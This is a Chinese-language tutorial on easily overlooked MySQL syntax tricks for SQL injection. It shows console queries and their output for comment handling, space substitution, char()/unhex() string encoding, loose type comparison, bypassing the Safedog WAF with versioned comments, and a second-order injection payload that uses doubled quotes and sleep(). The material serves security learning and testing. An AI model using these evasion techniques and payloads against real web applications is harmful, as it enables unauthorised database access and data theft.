sql注入时易被忽略的语法技巧以及二次注入

那些容易被忽略、容易被弄错的地方

 

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116

sql注入时的技巧 ========================================================================= *   如果单引号被转义，在当前数据库采用GBK编码的前提下，可以考虑双字节注入。   *   注释符的正确用法         “-- ”才是mysql中的注释，注意后面有个空格         mysql> select  user()  from (select 1)x where  '1'='1';-- '         +----------------+         | user()         |         +----------------+         | root@localhost |         +----------------+         1 row in set (0.00 sec)           “#”注释，后面接不接空格无所谓         mysql> select  user()  from (select 1) x where  '1'='1';#'         +----------------+         | user()         |         +----------------+         | root@localhost |         +----------------+         1 row in set (0.00 sec)   *   用/**/替代空格         mysql> select/**/1;         +---+         | 1 |         +---+         | 1 |         +---+         1 row in set (0.00 sec)   *   sql语句中字符串转义     -   mysql> select char(32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 );         +-------------------------------------------------------------------+         | char(32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 ) |         +-------------------------------------------------------------------+         |  /tmp/f_user.txt                                                  |         +-------------------------------------------------------------------+         1 row in set (0.00 sec)         -   mysql>  select  concat(char(32),char(47),char(116),char(109),char(112),char(47),char(102),char(95),char(117),char(115),char(101),char(114),char(46),char(116),char(120),char(116) ) ;         +---------------------------------------------------------------------------------------------------------------------------------------------------------------------+         | concat(char(32),char(47),char(116),char(109),char(112),char(47),char(102),char(95),char(117),char(115),char(101),char(114),char(46),char(116),char(120),char(116) ) |         +---------------------------------------------------------------------------------------------------------------------------------------------------------------------+         |  /tmp/f_user.txt                                                                                                                                                    |         +---------------------------------------------------------------------------------------------------------------------------------------------------------------------+         1 row in set (0.00 sec)           # utf-8     -   mysql> select unhex('E6B8B8E5AEA2');                                                                                                                                                     +-----------------------+         | unhex('E6B8B8E5AEA2') |         +-----------------------+         | 游客                  |         +-----------------------+         1 row in set (0.00 sec)               *   数字和字符的比较，类似php中的弱类型     -   mysql> select '10asfasfdeasdfasdf'=10;         +-------------------------+         | '10asfasfdeasdfasdf'=10 |         +-------------------------+         |                       1 |         +-------------------------+           -   mysql> select '0esfsadf'=0;         +--------------+         | '0esfsadf'=0 |         +--------------+         |            1 |         +--------------+   *   绕过安全狗     **  正则绕过         -   select 1/*!50000union/*!*//*!50000select/*!*/2;                 +---+                 | 1 |                 +---+                 | 1 |                 | 2 |                 +---+           -   mysql> select/*/#\*/1;                 +---+                 | 1 |                 +---+                 | 1 |                 +---+                 1 row in set (0.00 sec)     *   多个单引号相连时，最外层两个孤独单引号配对闭合，中间的连续偶数个单引号中每两个一组换算成一个。     -   mysql> select '123''';             +------+             | 123' |             +------+             | 123' |             +------+             1 row in set (0.00 sec)       -   mysql> select '123''''';             +-------+             | 123'' |             +-------+             | 123'' |             +-------+           -   mysql> select user from mysql.user where user='nickname'' and password=' or sleep(0.1);#'             Empty set (1.00 sec)         此特点可以引发“二次注入”，比如，注册用户时输入昵称{nickname'}，被转义为{nickname\'}但在插入到数据库后被还原，         那么在需要将昵称作为查询条件的页面中就存在二次注入，另一个条件字段的值为{ or 0=sleep(1);#}即可触发。